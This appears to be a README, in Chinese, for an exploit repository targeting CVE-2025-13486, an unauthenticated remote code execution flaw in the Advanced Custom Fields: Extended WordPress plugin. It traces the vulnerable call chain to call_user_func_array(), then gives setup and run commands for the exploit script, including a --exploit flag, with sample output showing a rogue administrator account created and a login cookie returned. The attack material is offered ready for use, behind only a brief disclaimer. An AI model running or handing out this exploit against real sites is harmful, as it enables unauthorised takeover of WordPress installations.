针对 CVE-2025-13486 的漏洞利用,由 Marcin Dudek (dudekmar) 发现
本仓库仅用于研究和防御性安全目的。 作者对本信息的滥用不承担任何责任。
WordPress 的 Advanced Custom Fields: Extended (ACFE) 插件在 0.9.0.5 至 0.9.1.1 版本中存在远程代码执行 (RCE) 漏洞。
该漏洞存在于 prepare_form() 函数中,该函数接受用户可控的输入,并在未经适当验证的情况下将其传递给 call_user_func_array()。
这允许未经身份验证的攻击者以有限的方式在服务器上执行任意 PHP 代码,但这已足以创建管理员账户并登录。
漏洞利用链如下:
includes/modules/form/module-form-front.php:24 -> wp_ajax_nopriv_acfe/form/render_form_ajax 操作触发 render_form_ajax 处理程序。
includes/modules/form/module-form-front.php:492 -> 应用 acfe/form/prepare_form 过滤器,调用 prepare_form() 函数。
includes/modules/form/module-form-front-render.php:151 -> 用户可控的 $form 数据被直接传递给 call_user_func_array()。
安装 Python 依赖:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
识别易受攻击的 WordPress 目标。
目标必须包含一个带有 ACFE 生成表单的页面。
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2
输出示例:
[2025-12-19] [11:00:46] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:03:30] [info] Use `--exploit` to perform exploitation.
使用 --exploit 标志再次运行脚本:
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2 --exploit
输出示例:
[2025-12-19] [11:00:13] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:00:13] [success] ACFE nonce found: c5d75e0d16
[2025-12-19] [11:00:14] [success] Account created: adm1n:2c5c87a94a2c5c87a94a (administrator)
[2025-12-19] [11:00:14] [success] Authentication succeded!
[2025-12-19] [11:00:14] [info] Cookie: wordpress_4411def9d576984c8d78253236b2a62f=adm1n%7C1766311214%7CwVDbFsbQpjYMM6ckgEQ6gwr6dcjIRhmqYed7Y46YqHJ%7C2f7857614d5ebe1216922dab79c3a8be7164cccde0869e1545f3bfb17c5d2859
使用返回的 WordPress 身份验证 Cookie,以新创建的管理员账户登录。